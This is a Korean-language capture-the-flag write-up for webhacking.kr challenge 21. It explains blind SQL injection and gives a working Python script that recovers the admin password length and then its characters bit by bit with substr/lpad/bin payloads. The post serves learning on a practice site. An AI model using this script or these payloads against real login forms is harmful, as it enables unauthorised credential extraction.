WEB/webhacking.kr (old)

webhacking.kr 21번

hongjw 2020. 2. 11. 00:31

level 21 첫화면

이번에 처음풀어보는 blind SQL injection 문제.,

 

blind SQL Inejction이란 ?

쿼리 결과로 오류메세지가 보이지 않고, 참 또는 거짓으로만 출력되어 DB구조를 파악하는 공격기법.

 

id와 pw에 이것저것 입력해본 결과,

id : guest / pw : guest면 login success가 출력된다.

그리고 잘못된 정보로 로그인을 시도하면, login fail이라고 출력된다.

가끔 wrong password라고 나오기도 하는데 login fail이랑 wrong password 차이는 쿼리문이 성립되면 wrong password가 출력되고, 올바르지 않은 쿼리문을 입력했을 시에는 login fail이 출력되는 것같다 ( -᷅_-᷄) 

 

문제를 해결하기 위해서 id는 admin으로 입력하고, admin의 pw를 알아내야할 것같다.

아래 코드는 pw의 길이를 먼저 알아내고, 그 다음 pw의 문자열을 알아내기 위한 코드이다.

import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

url     = "https://webhacking.kr/challenge/bonus-1/index.php?id=guest&pw="
headers = { "Cookie" : "PHPSESSID=세션 값"}
proxies = { "http" : "http://127.0.0.1:8008",
            "https": "https://127.0.0.1:8008" }

# GET length of password
 for i in range(50):
     payload ="' or id='admin' and length(pw)={}%23".format(i)
     res     = requests.get(url=url+payload, headers=headers, proxies=proxies, verify=False)

     if "wrong password" in res.text:
         pwLen = i
         break
     else:
         pass

# https://webhacking.kr/challenge/bonus-1/index.php?id=guest&pw='%20or%20id='admin'%20and%20length(pw)=36%23


# GET Password
pwLen    = 36
bitLen   = 8
password = ""

for plen in range(1, pwLen+1):

    tmpBit = ""

    for blen in range(1, bitLen+1):
        payload ="' or id='admin' and substr(lpad(bin(ord(substr(pw,{},1))),{},0),{},1)=1%23".format(plen, bitLen, blen)
        res     = requests.get(url=url+payload, headers=headers, proxies=proxies, verify=False)

        if "wrong password" in res.text:
            tmpBit += '1'
        else:
            tmpBit += '0'

    password += chr(int(tmpBit, 2))
    print("[=] found word : ", password)

print("[+] Found password : ", password)
            

 

pw 길이를 먼저 알아낸 다음, pw의 길이만큼 코드를 반복한다.

문자열을 알아내는 방법은 문자를 비트로 바꿔주는 것이다.

=> substr(lpad(bin(ord(substr(pw,{},1))),{},0),{},1)=1

pw 중 오른쪽부터 문자를 하나씩 가져온다. 만약 그 문자가 'a'라면, 'a'를 ord함수를 이용해 숫자(97)로 바꿔준다.

그 후, bin함수를 이용해 10진수인 숫자(97)를 2진수(1100001)로 바꿔준다. 

lpad함수를 이용해 8글자로 맞춰준 뒤(왼쪽부터 0으로 패딩해준다), 그 8자리 숫자들(01100001)을 1과 비교하는 것이다 ! ٩(๑•̀o•́๑)و 

 

이렇게 해서 pw를 알아내고, id는 admin으로 해서 로그인하면 문제 해결 ~!

blind SQL injection문제를 처음 풀어봤는데 어렵지만., 뭔가 푸는방법이 신기해서 재밌다ㅎㅅㅎ

'WEB > webhacking.kr (old)' 카테고리의 다른 글

webhacking.kr 32번  (0) 2020.02.11
webhacking.kr 31번  (0) 2020.02.11
webhacking.kr 27번  (0) 2020.02.08
webhacking.kr 26번  (0) 2020.02.06
webhacking.kr 25번  (0) 2020.02.06